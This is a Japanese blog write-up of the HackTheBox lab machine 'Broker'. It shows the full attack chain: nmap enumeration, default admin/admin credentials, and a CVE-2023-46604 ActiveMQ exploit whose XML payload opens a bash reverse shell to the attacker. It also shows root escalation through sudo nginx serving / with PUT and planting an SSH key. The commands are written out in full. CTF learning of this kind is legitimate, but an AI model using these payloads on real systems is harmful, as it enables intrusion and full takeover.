今回はHackTheBoxのEasyマシン「Broker」のWriteUpです!
名前からはどのようなマシンかあまりわかりませんね。攻略目指して頑張ります!
グラフはいい感じにきちんとEasyな感じですね。
さくっと攻略していきたいところです!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Broker
列挙
それでは、攻略を始めていきましょう!
いつものようにnmap
から実行していきます。
+[~/broker]
(σ▰>∇<)σ<10.10.14.4>$ sudo nmap -Pn -sVC --min-rate=1000 -v -p- 10.10.11.243
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
1883/tcp open mqtt
|_mqtt-subscribe: Failed to receive control packet from server.
5672/tcp open amqp?
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| AMQP
| AMQP
| amqp:decode-error
|_ 7Connection from client using unsupported AMQP attempted
8161/tcp open http Jetty 9.4.39.v20210325
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealm
|_http-title: Error 401 Unauthorized
|_http-server-header: Jetty(9.4.39.v20210325)
37463/tcp open tcpwrapped
61613/tcp open stomp Apache ActiveMQ
| fingerprint-strings:
| HELP4STOMP:
| ERROR
| content-type:text/plain
| message:Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP
| org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258)
| org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85)
| org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83)
| org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233)
| org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215)
|_ java.lang.Thread.run(Thread.java:750)
61614/tcp open http Jetty 9.4.39.v20210325
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-title: Site doesnt have a title.
61616/tcp open apachemq ActiveMQ OpenWire transport
| fingerprint-strings:
| NULL:
| ActiveMQ
| TcpNoDelayEnabled
| SizePrefixDisabled
| CacheSize
| ProviderName
| ActiveMQ
| StackTraceEnabled
| PlatformDetails
| Java
| CacheEnabled
| TightEncodingEnabled
| MaxFrameSize
| MaxInactivityDuration
| MaxInactivityDurationInitalDelay
| ProviderVersion
|_ 5.15.15
結構多くのポートが開いていますね。列挙が多くなりそうですが、とりあえず80番からアクセスしてみましょう。
Basic認証が使用されています。認証情報はまだ持っていないので、とりあえずadmin / admin
を入力してみましょう。
認証に成功してしまいました!なるほど。Easyマシンという感じがしますね笑
ActiveMQ
へアクセスができたので、Manage ActiveMQ broker
を押下してみます。
Broker
の情報が表示されました。
CVE-2023-46604
さらに、ActiveMQ
のバージョンが5.15.15
であることがわかりました。脆弱性がないかGoogleで調べてみると、以下の記事を発見しました。
記事によると、ActiveMQ
の5.15.15
にはRCEの脆弱性が存在するようです。この脆弱性の発火にはOpenWire
がListenされている必要があるようですが、今回は61616番ポートでオープンしているので要件を満たしていそうです。
概要 : CVE-2023-46604
この脆弱性では、ClassPathXmlApplicationContextクラスをインスタンス化する際の引数「configLocation」にXMLファイルを指定することを悪用します。指定したXMLファイルのProcessBuilderクラスのstartメソッドにコマンドを設定することで実行が可能になります。
記事の中ではecho
コマンドで新たにファイルを作成していますが、この部分をリバースシェルを返すコマンドに変更することで初期侵入を行いたいと思います。
まずは、記事の中で使用されているGitHubをCloneしていきます。
+[~/broker]
(σ▰>∇<)σ<10.10.14.4>$ git clone https://github.com/X1r0z/ActiveMQ-RCE.git
Cloning into 'ActiveMQ-RCE'...
remote: Enumerating objects: 29, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 29 (delta 12), reused 29 (delta 12), pack-reused 0
Receiving objects: 100% (29/29), 7.52 KiB | 7.52 MiB/s, done.
Resolving deltas: 100% (12/12), done.
実行できたらXMLファイルを書き換えていきます。
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/10.10.14.4/2121 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
書き換えに完了したら、リバースシェルの待ち受けとWEBサーバを起動します。
> Rev Shell
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
> WEB
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
これで準備万端です!
activemq としてのシェル
それでは実行していきましょう!
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ go run main.go -i 10.10.11.243 -u http://10.10.14.4/poc.xml
_ _ _ __ __ ___ ____ ____ _____
/ \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____|
/ _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _|
/ ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___
/_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____|
[*] Target: 10.10.11.243:61616
[*] XML URL: http://10.10.14.4/poc.xml
[*] Sending packet: 0000006c1f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e74657874010019687474703a2f2f31302e31302e31342e342f706f632e786d6c
実行に成功していそうです。待ち受けを確認しましょう。
+[~/broker/ActiveMQ-RCE]
(σ▰>∇<)σ<10.10.14.4>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.243] 34112
bash: cannot set terminal process group (887): Inappropriate ioctl for device
bash: no job control in this shell
activemq@broker:/opt/apache-activemq-5.15.15/bin$ whoami
whoami
activemq
初期侵入に成功しました!
activemq@broker:~$ ls -l
ls -l
total 4
-rw-r----- 1 root activemq 33 Apr 28 14:25 user.txt
ユーザフラグも取得できました!
権限昇格
それではここから権限昇格を目指していきましょう!
まずはsudo -l
を実行していきます。
activemq@broker:~$ sudo -l
Matching Defaults entries for activemq on broker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
nginx
がroot
ユーザの権限で実行できるみたいです。
この設定の場合、ルートディレクトリ(/
)をWEBルートとすることで、様々なファイルにアクセスでき、PUTメソッドを許可することでファイルを作成することが可能です。
Exploit Nginx
それでは権限昇格を行っていきましょう。以下のような設定ファイルを用意します。
activemq@broker:~$ cat root.conf
user root;
events {
worker_connections 1024;
}
http {
server {
listen 2122;
root /;
autoindex on;
dav_methods PUT;
}
}
今回はサーバを2122番ポートで起動するようにしました。
この設定ファイルを指定し、sudo nginx
を実行していきましょう。
activemq@broker:~$ sudo /usr/sbin/nginx -c /home/activemq/root.conf
これでサーバが起動できたので、curl
でアクセスしてみましょう。
activemq@broker:~$ curl http://localhost:2122
<html>
<head><title>Index of /</title></head>
<body>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="bin/">bin/</a> 06-Nov-2023 01:10 -
<a href="boot/">boot/</a> 06-Nov-2023 01:38 -
<a href="dev/">dev/</a> 28-Apr-2024 14:25 -
<a href="etc/">etc/</a> 07-Nov-2023 06:53 -
<a href="home/">home/</a> 06-Nov-2023 01:18 -
<a href="lib/">lib/</a> 06-Nov-2023 00:57 -
<a href="lib32/">lib32/</a> 17-Feb-2023 17:19 -
<a href="lib64/">lib64/</a> 05-Nov-2023 02:36 -
<a href="libx32/">libx32/</a> 17-Feb-2023 17:19 -
<a href="lost%2Bfound/">lost+found/</a> 27-Apr-2023 15:40 -
<a href="media/">media/</a> 06-Nov-2023 01:18 -
<a href="mnt/">mnt/</a> 17-Feb-2023 17:19 -
<a href="opt/">opt/</a> 06-Nov-2023 01:18 -
<a href="proc/">proc/</a> 28-Apr-2024 14:25 -
<a href="root/">root/</a> 28-Apr-2024 14:25 -
<a href="run/">run/</a> 28-Apr-2024 14:25 -
<a href="sbin/">sbin/</a> 06-Nov-2023 01:10 -
<a href="srv/">srv/</a> 06-Nov-2023 01:18 -
<a href="sys/">sys/</a> 28-Apr-2024 14:25 -
<a href="tmp/">tmp/</a> 28-Apr-2024 14:40 -
<a href="usr/">usr/</a> 17-Feb-2023 17:19 -
<a href="var/">var/</a> 05-Nov-2023 01:43 -
</pre><hr></body>
</html>
ルートディレクトリへアクセスできるようになっています!
正直この状態でもルートフラグを読むことはできるのですが、ここからSSH公開鍵を/root/.ssh
配下に作成し、SSH接続を行っていきます。
activemq@broker:~$ curl -X PUT localhost:2122/root/.ssh/authorized_keys -d 'ssh-rsa <id_rsa.pub>'
実行できたら準備万端です!
root としてのシェル
それではSSH接続を行いましょう!
+[~/.ssh]
(σ▰>∇<)σ<10.10.14.4>$ ssh -i id_rsa root@10.10.11.243
root@broker:~# whoami
root
権限昇格に成功しました!
root@broker:~# ls -l
total 8
-rwxr-xr-x 1 root root 517 Nov 7 08:15 cleanup.sh
-rw-r----- 1 root root 33 Apr 28 14:25 root.txt
ルートフラグも取得できました!完全攻略達成です!
攻略を終えて
今回のマシンは個人的にかなり好きなマシンでした!ActiveMQ
のリモートコマンド実行、nginx
の権限昇格、どちらもカスタマイズにより様々な方法で攻撃を行うことができ、色々と試す機会になりました。特にnginx
の権限昇格は、設定ミスではありますがnginx
本来の挙動に沿ったものであり、nginx
の仕組みをさらに理解することに繋がりました。
やはり必要ではない権限は付与しないということが大切ですね。
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです!
最後まで見ていただき、ありがとうございました~~!